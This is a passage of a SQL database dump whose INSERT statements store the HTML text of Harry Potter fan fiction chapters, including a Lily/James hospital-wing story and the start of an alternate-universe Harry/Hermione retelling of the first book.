was sure nothing would tear their attention away from one another, he even shouted down to them.&nbsp; &nbsp;&nbsp;&nbsp;Surely a professor or something would find him eventually he waited and waited, time seemed to pass and Ron ended up falling asleep, his body resting up against the side of the wall.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Their trunks and belongings were being loaded onto the train, Hermione glanced around Hogsmeade station, the large castle in the background would have made a great postcard, too bad that no muggle would ever see it.&nbsp; She sighed and grabbed Harry&#8217;s arm, he looked at her with a warm smile.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Let&#8217;s find us a seat Harry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded, &#8220;Good idea,&#8221; He started to step on to the train when he paused all of a sudden.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione noticing that he had stopped turned and looked at him, &#8220;Harry are you all right?&#8221;&nbsp; She noticed he was deep in thought.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I get the sneaky suspicion that we are forgetting something.&#8221; He looked at her thoughtful.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We are?&#8221; Hermione thought a moment, &#8220;We checked the rooms many times before we left, and besides if we did leave anything I&#8217;m sure it would be returned to us.&#8221; She smiled and squeezed his hand affectionately.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded with a smile, &#8220;Yeah you&#8217;re probably right.&nbsp; It&#8217;s probably not important anyway.&#8221; And with that he stepped onto the train.&nbsp; They were both ready to go forward in their new lives.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The Hogwarts castle stood so very quiet as the last professor there put out the very last light and finally closed and locked the school up tight.&nbsp; There was a faint singing in the entry way from the ceiling above, one would think it was a ghost mourning over a&nbsp; a lost loved one, but if you listen closely you would find that they singing is not about loss of love but of&#8230;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Row, row your boat gently down the stream&#8230;&#8221;&nbsp; Ron sighed swinging his feet that dangled from a high rafter.&nbsp; &#8220;Oh this is going to be a long summer.&#8221; He shook his head,&nbsp; &#8220;Merrily, merrily, merrily, life is but a dream. &#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The End&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>=======</p>\n\n<p>Well that&#8217;s the end of All That She Wants,&nbsp; *Sniffle* Its over for good, there will be no sequel.&nbsp; I know its sad but we all must try to move on *Grabs tissue* ^.^&nbsp; well I hoped you enjoyed this fic and I hope you look for my work of fics to come ^.^</p>\n\n<p><br>\n Thanks,<br>\n Ryoko Blue</p> '),
	(16, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><b>Title:</b> The Flu : Love,&nbsp; James</p>\n\n<p class="MsoNormal"><b>Author name:</b> Kaori Lily Marie Otome XIV</p>\n\n<p class="MsoNormal"><b>Author e-mail:</b> kaori_girl@mymelody.com</p>\n\n<p class="MsoNormal"><b>Category:</b> Astronomy Tower</p>\n\n<p class="MsoNormal"><b>Keywords:</b> Lily, James, L/J, fluff, flu</p>\n\n<p class="MsoNormal"><b>Rating:</b> PG</p>\n\n<p class="MsoNormal"><b>Spoilers:</b> It&#8217;s good to be familiar with all the books\nbut there aren&#8217;t really any spoilers</p>\n\n<p class="MsoNormal"><b>Summary:</b> Lily&#8217;s in the hospital wing with a flu. It\nseems it&#8217;s up to James to cheer her up! L/J fluff.</p>\n\n<p class="MsoNormal"><b>Disclaimer:</b> This story is based on characters and\nsituations created and owned by JK Rowling, various publishers including but\nnot limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and\nWarner Bros., Inc. No money is being made and no copyright or trademark\ninfringement is intended.</p>\n\n<p class="MsoNormal"><b>Author&#8217;s Notes:</b>&nbsp;\nAnother one for SS Thorn and Buck. What can I say? I love Lily and\nJames! Two of my OCs/muses are in here, don&#8217;t worry though, they don&#8217;t have a\nbig part, just a small little mention.</p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>The\nFlu : Love, James</b>\n<br>\n<br>\n&quot;Ahhcccooooo!&quot; Lily Evans sneezed. She was in the Hospital Wing and was\nquite irritated that she was missing classes. It wasn\'t fair... why did she\nhave to get the flu? &quot;Oh this is not fair!&quot; She whined, grabbing a\ntissue from the side of her bed. <br>\n<br>\nMadam Pomfrey told her to stay in bed until she was all better. It seemed it\nwas far from that for Lily felt incredibly weak, tired, and just sick. <br>\n<br>\n&quot;Dear, don\'t complain...&quot; Madam Pomfrey said, sympathetic. &quot;How\ndid this happen to you anyway?&quot; <br>\n<br>\nLily\'s face flushed deeply with embarrassment. &quot;Oh... I just... fell in\nthe lake...&quot; <br>\n<br>\nThe nurse raised an eyebrow in suspicion. She continued her interrogation,\n&quot;and how did that happen?&quot; <br>\n<br>\nLily frowned. Madam Pomfrey usually didn\'t question students but... Lily\nguessed it wouldn\'t be a secret for much longer... <br>\n<br>\n&quot;My friend, Jenna Heartily, she <i>accidentally</i> pushed me into the\nlake... it was just an accident,&quot; Lily confessed. <br>\n<br>\nThe woman was skeptical, &quot;And you say she\'s your friend?&quot; <br>\n<br>\n&quot;Well, she did come after me and saved me...&quot; <br>\n<br>\n&quot;Ah.&quot; Lily blinked at the nurse curiously. &quot;So no Prince\nCharming to save you yet?&quot; <br>\n<br>\nLily shook her head sadly. \'<i>I wish...</i> \' she thought to herself. <br>\n<br>\nPomfrey left her to think in the empty Hospital Wing. It was so quiet. \'<i>That\'s\nodd,\'</i> she thought, \'<i>I thought I\'d be happy when I was by myself but... I\njust feel so alone....</i>\' she sighed miserably. <br>\n<br>\nMadam Pomfrey was back in a couple of hours. Lily was reading her book that she\nrecently checked out from the library (<i>Collection of Muggle Fairy Tales by\nBaylin Biskit</i>) and wasn\'t really paying attention. <br>\n<br>\nSomeone knocked on the door and Lily just continued reading. She was mildly\nenjoying her book. <br>\n<br>\n&quot;Just fifteen minutes, please?&quot; Someone outside begged Madam Pomfrey.\n<br>\n<br>\nMadam Pomfrey relented with one condition, &quot;All right but no pranks! I\nmean it!&quot; <br>\n<br>\nThat someone interrupted Lily. <br>\n<br>\nLily was dully reading her book, too ill to actually know what she was reading\nwhen someone had pulled her book away from her. Her bright green eyes met\nchocolate brown. She faced a boy with unruly jet black hair and a mischievous grin.\n<br>\n<br>\n&quot;Now, now Lils.. what are you reading?&quot; He teased. He glanced at the\ntitle. He snorted, &quot;Muggle Fairy Tales?&quot; <br>\n<br>\nLily snatched her book back and frowned, &quot;Oh shut up James Potter!&quot; <br>\n<br>\nJames was sitting next to her on the bed. He shook his eyes disapprovingly,\n&quot;Pushed into the lake by one of your friends -- how embarrassing.&quot; <br>\n<br>\nLily blushed again but managed to look at James pointedly, &quot;At least I\ndon\'t get my friends almost expelled.&quot; <br>\n<br>\n&quot;Hey! That wasn\'t me!&quot; <br>\n<br>\n&quot;No, last week it was you; this week it was Sirius,&quot; Lily reminded\nhim. <br>\n<br>\nJames laughed but it was weaker than his usual. &quot;Right, anyway Lils..\nhere\'s my present -- actually from all of us..&quot; <br>\n<br>\nLily blushed once more as James handed her a red box of candies. There was a\nbig gold bow on the top that was stuck by spello-tape. <br>\n<br>\nJames grinned, &quot;Leah bought all your favorites from Honeydukes.&quot; Lily\nlooked up at him, head slightly tilted. Her friend Leah Tenshi wouldn&#8217;t give\nher anything harmful but the Marauders on the other hand&#8230; James quickly added,\n&quot;Don\'t worry we didn\'t but any trick foods in there.. mostly\nchocolates.&quot; <br>\n<br>\nLily smiled appreciatively. &quot;Thank you James,&quot; she whispered. <br>\n<br>\nJames just nodded acknowledging. He gave one finally smirk, &quot;You\'re\nwelcome.&quot; <br>\n<br>\nHe nodded and left quite quickly. Lily smiled after him. She sighed relieved.\nJames was a good friend... <br>\n<br>\nShe looked at the tag. It was a small one, probably made by her one of her\nfriends (most likely Leah), and it had a short note by James. <br>\n<br>\n<i>Lily, <br>\nWe all hope you feel better and you know we\'ll always be there for you. <br>\n<br>\nLove, James</i> <br>\n<br>\nShe gave a goofy kind of smile. Cold seemed oblivious to her now... and warmth\nentered her body. She looked back to the tag and noticed the postscript. <br>\n<br>\n<i>PS Jenna says she\'s sorry and that she\'ll bring you homework to make it up\nto you...</i> <br>\n<br>\nLily giggled, starting to open the box. Maybe flues weren\'t so bad sometimes...\nnot when your friends were there for you. <br>\n<br>\n<i>finis</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">FIC ENDS\nHERE</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(17, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN: By now I\'m sure you all know the story of\nHarry Potter\'s life, up until the fourth year, as told by the marvellous JK.\nHowever, in this story will be MY version of Harry. I suppose it\'s sort of an\nalternate reality story but it\'s not TOO different from the books we all LOVE.\nBasically what I&#8217;ve wanted to do for a while is write the book again only with\nHarry as even more of a hero ( I plan on making him ridiculously cool and\nmagically powerful!) and to add the obvious Hermione/Harry romance (Okay well it\'s\nobvious to ME!).</p>\n\n<p class="MsoNormal">As this is my first fic please be kind in your\nreviews but don\'t hesitate to tell me what you think needs to be changed and\nhow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>Important:</b></p>\n\n<p class="MsoNormal">The first two chapters of this story <i>really </i>suck.\nOr rather they&#8217;re quite good, but they&#8217;re mostly just a repeat of the actual\nbooks. You still need to read them, but the story isn&#8217;t really <i>my</i>\nwriting until chapter three.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: I don\'t own a damn thing. Not the\ncharacters not the copyrights or even the basic plot. I\'m stealing it all from\nthe Goddess \'Rowling\'. What\'re ya gonna do? Sue me for all I have? Hmmm......\nLet\'s see I\'ve got some buttons, some baseball cards and a bit of lint.......</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Nearly ten years had\npassed since the Dursleys had woken up to find their nephew on the front step,\nbut Privet Drive had hardly changed at all. The sun rose on the same tidy front\ngardens and lit up the brass number four on the Dursleys\' front door. Only the\nphotographs on the mantelpiece really showed how much time had passed. Ten\nyears ago, there had been lots of pictures of what looked like a large pink\nbeach ball wearing different-colored bobble hats (AN lol! That\'s Dudley\nalright!) - but Dudley Dursley was no longer a baby, and now the photographs\nshowed a large, blond boy riding his first bicycle, on a roundabout at the\nfair, playing a computer game with his father, being hugged and kissed by his\nmother. The room held no sign at all that another boy lived in the house too.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Yet Harry Potter was\nstill there, asleep at the moment, but not for long. His Aunt Petunia was awake\nand it was her shrill voice which made the first noise of the day.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Up! Getup! Now!\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry woke with a\nstart. His aunt rapped on the door again.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Up!\' she screeched.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry heard her\nwalking towards the kitchen and then the sound of the frying pan being put on\nthe cooker. He rolled on to his back and tried to remember the dream he had\nbeen having. It had been a particularly bad one this time, with a woman\nscreaming and cruel laughter in the background. Harry didn\'t know how he knew\nbut he knew that the woman in his dream had been his real mother. Harry was\nused to these kind of dreams by now and had learned to wake up without screaming\nas he had when he first started having the dreams. If he did that the Dursleys\ngot mad...</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">His aunt was back\noutside the door.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Are you up yet?\' she\ndemanded. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Nearly,\' said Harry</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Well, get a move on,\nI want you to look after the bacon. And don\'t you dare let it burn, I want\neverything perfect on Duddy\'s birthday\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry groaned.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'What did you say?\'\nhis aunt snapped through the door.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Nothing, nothing...\'\nDudley\'s birthday - how could he have forgotten? Harry got slowly out of bed\nand started looking for socks. He found a pair under his bed and, after pulling\na spider off one of them, put them on. Harry was used to spiders, because the\ncupboard under the stairs was full of them, and that was where he slept.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When he was dressed\nhe went down the hall into the kitchen. The table was almost hidden beneath all\nDudley\'s birthday presents. It looked as though Dudley had got the new computer\nhe wanted, not to mention the second television and the racing bike. Exactly\nwhy Dudley wanted a racing bike was a mystery to Harry, as Dudley was very fat\nand hated exercise - unless of course it involved punching somebody. Dudley\'s\nfavourite punch-bag was Harry but he couldn\'t often catch him. Harry didn\'t\nlook it, but he was very fast.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Perhaps it had\nsomething to do with the martial arts lessons that Harry had been taking for\nfree ever since he was seven. (AN Okay this is the first change in the story\nline and you will begin to see why I said I\'m making Harry TOO good.)</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The reason the\nlessons didn\'t cost anything was for several reasons the first being that Harry\nhad never had any money of his own (even if he did the Dursleys would have\ntaken it to pay for his \'room and board\'). Another reason is that the Dursleys\nwould never THINK of spending more than necessary on poor Harry and these\nlessons certainly weren\'t necessary but Harry had always stayed away from \'the\nhouse\', as he called (certainly it wasn\'t a &quot;home&quot;), as much as he\ncould ever since he was old enough for the Dursleys to make him walk home on\nhis own, and on his way home each day he would stop in front of a small Kenpo\nDojo and watch the other children train. After two years of seeing the same boy\nwatching his pupils from the window everyday (Harry was forced to walk home at\nthe age of 5), the teacher (sensei) approached Harry to ask him why he didn\'t\njoin the Dojo so that he wouldn\'t have to stand outside.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">-----------Flash\nBack--------------</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&quot;Hello son. My\nname is Mr. Osakawa. What\'s yours?&quot; Mr. Osakawa asked the seven-year-old\nHarry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&quot;It\'s Harry\nsir.&quot; Harry replied clasping his hands in front of him and bowing as he\nhad often seen the kids in their training do.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Now, Mr. Osakawa\nhadn\'t really expected to get an answer from this mysterious little boy as all\nchildren are taught not to talk to strangers from a very young age (The\nDursleys had never told Harry this as they were most likely hoping he would be\nkidnapped and then they\'d be rid of him with no blame to them. (AN They really\nsound like criminals huh?)).</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&quot;Well Harry,\nI\'ve seen you outside my window before. What is it that interests you so much\nabout watching my classes?&quot;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was used to the\nkind of sympathetic voice that adults often used with him. He just didn\'t\nunderstand it. Most people he talked to knew that he was somehow mistreated but\nnot nearly the full extent of his \'abuse\' and so nothing was ever suspected of\nthe Dursleys but people still treated Harry as somewhat of an invalid. Harry\nhowever had no idea that he was being &quot;abused&quot; as his life had always\nbeen the way it was for as long as he could remember. He simply took it as\nbeing only natural when Dudley received loads of presents on his Birthday and\nHarry was surprised if someone <i>mentioned</i> his. So when this person that\nhe assumed was some sort of teacher like the ones at school he responded the\nsame way. With his eye on the floor he replied with the honest truth in a quiet\nvoice.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&quot;It looks like\nfun.&quot;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Now most children&#8217;s\nidea of fun is playing with their friends and eating candy and all sorts of\nother childish things. Harry, however was not \'most children\'. His ideas of fun\nwere running and reading. Or to simplify it, he liked to learn and he liked to\nexert himself (as most small children do when not sleeping). And he told Mr.\nOsakawa so.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&quot; Fun?&#8221; Mr.\nOsakawa chuckled in surprise. &#8220; Well now I can see why you&#8217;d be interested in\nwhat we do here. So why aren\'t you in any of my classes then, hmmm? It would be\na pleasure to teach you.&quot;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&quot;I don\'t have\nany money sir.&quot;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Now Mr. Osakawa\nhadn\'t expected such an answer from so young a child but he had taken an\ninstant liking to this boy with eye\'s that shone like emeralds when Harry spoke\nof things he enjoyed. So he rather <i>wanted</i> to teach Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&quot;Well why don\'t\nyou ask your parents to sign you up then hmm? I\'m sure they\'ve got some\nmoney.&quot; As soon as he had said this however he regretted it. If the state\nof his clothes was any indication, Harry\'s family must have to get their\nclothes from charitable donations and the like, as almost everything Harry was wearing\nwas at least two sizes too big for him and if his parents couldn\'t afford to\ndrive to school to pick up their son then there was no way they\'d be able to\nafford to enrole their son in a Dojo.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">While Mr. Osakawa was\nthinking what he could do to get this kid into his class (something in Harry&#8217;s\neyes told him Harry would be a dedicated student, and therefore a pleasure to\nteach), Harry was having a sort of mental breakdown. Ask the Dursleys for\nsomething?! It didn\'t make sense. He had never asked for anything from them for\nas long as he could remember. He thought that the only people you were supposed\nto ask for things from were teachers... it just didn\'t make sense.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Fortunately for\nHarry&#8217;s poor brain Mr. Osakawa came to his rescue. &quot;Ya know what kid? You\ncan forget the money, it would be my pleasure to teach you for free!&quot; He\nsaid with a big grin while thinking, &lt; It\'s just one little kid. It\'s not\nlike I\'m in desperate need of money...&gt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">His kindness was\nrewarded when Harry\'s eye\'s lit up with excitement at the thought of being\nallowed to join the kids inside the Dojo in their training. All Harry could do\nwas stare at Mr. Osakawa with his mouth hanging open a little and pure joy in\nhis eye\'s.......</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">--------------End\nFlashback----------------</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">So Harry had never\nbeen a very good \'Punching Bag\' for Dudley although he never fought back as it\nnever occurred to him to hate his &quot;benefactors&quot; the Dursleys (AN\ndon\'t worry he will! ;-] ). He was, however quite small and skinny for his age.\nHe looked even smaller and skinnier than he really was because all he had to\nwear were old clothes of Dudley\'s and Dudley was about four times bigger than\nhe was. Harry had a thin face, knobbly knees and black hair. He wore round\nglasses held together with a lot of Sellotape because all the times Dudley had\nbeen able to catch him he (Dudley) had always broken them to stop Harry from\nrunning away very well. The only things Harry liked about his own appearance\nwere his pure black and naturally messy hair, which he liked because it made\nhim different, and a very thin scar on his forehead, which was shaped like a\nbolt of lightning. He had had it as long as he could remember and the first\nquestion he could ever remember asking his Aunt Petunia was how he had got it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'In the car crash\nwhen your parents died,\' she had said. \'And don\'t ask questions.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Don\'t ask questions -\nthat was the first rule for a quiet life with the Dursleys.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Uncle Vernon entered\nthe kitchen as Harry was turning over the bacon.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Comb your hair!\' he\nbarked, by way of a morning greeting.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">About once a week,\nUncle Vernon looked over the top of his newspaper and shouted that Harry needed\na haircut. Harry must have had more haircuts than the rest of the boys in his\nclass put together, but it made no difference, his hair simply grew that way-\nall over the place.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was frying eggs\nby the time Dudley arrived in the kitchen with his mother. Dudley looked a lot\nlike Uncle Vernon. He had a large, pink face, not much neck, small, watery blue\neyes and thick, blond hair that lay smoothly on his thick, fat head. Aunt\nPetunia often said that Dudley looked like a baby angel. Harry often thought\nthat Dudley looked like a pig in a wig.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry put the plates\nof eggs and bacon on the table, which was difficult as there wasn\'t much room\nwith Dudley taking up three places. Dudley, meanwhile, was counting his\npresents. His face fell.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Thirty-six,\' he\nsaid, looking up at his mother and father. \'That\'s two less than last year.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Darling, you haven\'t\ncounted Auntie Marge\'s present, see, it\'s here under this big one from Mummy\nand Daddy\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'All right,\nthirty-seven then,\' said Dudley, going red in the face. Harry, who could see a\nhuge Dudley tantrum coming on, began wolfing down his bacon as fast as possible\nin case Dudley turned the table over.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Aunt Petunia\nobviously scented danger too, because she said quickly, \'And we\'ll buy you\nanother two presents while we\'re out today\' How\'s that, popkin? Two more\npresents. Is that all right?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dudley thought for a\nmoment. It looked like hard work. Finally he said slowly, \'So I\'ll have\nthirty... thirty...\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Thirty-nine,\nsweetums,\' said Aunt Petunia.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Oh.\' Dudley sat down\nheavily and grabbed the nearest parcel. \'All right then.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Uncle Vernon\nchuckled.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Little tyke wants\nhis money\'s worth, just like his father. \'Atta boy, Dudley!\' He ruffled\nDudley\'s hair.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">At that moment the\ntelephone rang and Aunt Petunia went to answer it while Harry and Uncle Vernon\nwatched Dudley unwrap the racing bike, a cine-camera, a remote control\naeroplane, sixteen new computer games and a video recorder. He was ripping the\npaper off a gold wristwatch when Aunt Petunia came back from the telephone\nlooking both angry and worried.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Bad news, Vernon,\'\nshe said. \'Mrs Figg\'s broken her leg. She can\'t take him.\' She jerked her head\nin Harry\'s direction.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dudley\'s mouth fell\nopen in horror but Harry\'s heart gave a leap. Every year on Dudley\'s birthday\nhis parents took him and a friend out for the day to adventure parks, hamburger\nbars or the cinema. Every year, Harry was left behind with Mrs Figg, a mad old\nlady who lived two streets away. Harry hated it there. The whole house smelled\nof cabbage and Mrs Figg made him look at photographs of all the cats she\'d ever\nowned.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Now what?\' said Aunt\nPetunia, looking furiously at Harry as though he\'d planned this. Harry knew he\nought to feel sorry that Mrs Figg had broken her leg and that it might ruin\nDudley&#8217;s birthday, but somehow he just couldn\'t seem to care.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'We could phone\nMarge,\' Uncle Vernon suggested.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Don\'t be silly, Vernon,\nshe hates the boy\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The Dursleys often\nspoke about Harry like this, as though he wasn\'t there - or rather, as though\nhe was something very nasty that couldn\'t understand them, like a slug.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'What about\nwhat\'s-her-name, your friend - Yvonne?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'On holiday in\nMajorca,\' snapped Aunt Petunia.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'You could just leave\nme here,\' Harry put in hopefully (he\'d he able to watch what he wanted on\ntelevision for a change and maybe even have a go on Dudley\'s computer).</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Aunt Petunia looked\nas though she\'d just swallowed a lemon.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'And come back and\nfind the house in ruins?\' she snarled.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'I won\'t blow up the\nhouse,\' said Harry, but they weren\'t listening.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'I suppose we could\ntake him to the zoo,\' said Aunt Petunia slowly \'... and leave him in the\ncar...\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'That car\'s new he\'s\nnot sitting in it alone!\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dudley began to cry\nloudly. In fact, he wasn\'t really crying, it had been years since he\'d really\ncried, but he knew that if he screwed up his face and wailed, his mother would\ngive him anything he wanted.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Dinky Duddydums,\ndon\'t cry, Mummy won\'t let him spoil your special day!\' she cried, flinging her\narms around him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'I... don\'t ... want\n... him... t-t-to come!\' Dudley yelled between huge pretend sobs. \'He always\nsp-spoils everything!\' He shot Harry a nasty grin through the gap in his\nmother\'s arms.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Just then, the\ndoorbell rang - \'Oh, Good 